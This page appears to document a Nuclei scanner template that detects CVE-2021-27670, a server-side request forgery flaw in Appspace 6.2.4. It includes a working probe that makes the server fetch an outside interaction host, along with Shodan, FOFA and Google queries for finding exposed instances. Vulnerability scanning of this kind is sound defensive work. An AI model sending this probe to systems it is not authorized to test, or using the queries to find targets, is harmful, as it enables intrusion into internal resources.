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Appspace 6.2.4 - Server-Side Request Forgery

ID: CVE-2021-27670

Severity: critical

Author: ritikchaddha

Tags: cve,cve2021,appspace,ssrf

Description

Section titled “Description”

Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-27670


info:
  name: Appspace 6.2.4 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a patched version of Appspace 6.2.4 or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/h3110mb/PoCSSrfApp
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27670
    - https://github.com/ArrestX/--POC
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27670
    cwe-id: CWE-918
    epss-score: 0.61228
    epss-percentile: 0.97796
    cpe: cpe:2.3:a:appspace:appspace:6.2.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appspace
    product: appspace
    shodan-query:
      - title:"Appspace"
      - http.title:"appspace"
    fofa-query: title="appspace"
    google-query: intitle:"appspace"
  tags: cve,cve2021,appspace,ssrf


http:
  - method: GET
    path:
      - '{{BaseURL}}/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"


      - type: status
        status:
          - 200
# digest: 490a0046304402202efb77a9c61f1de6c92e5f91aed740b8a32ec92b7cb5badea058b2a37dc740b702205bf7cb5a196516790fd9c6f55f822f3e1c3e1db8e364c15296c03a5f69a9063c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27670.yaml"

View on Github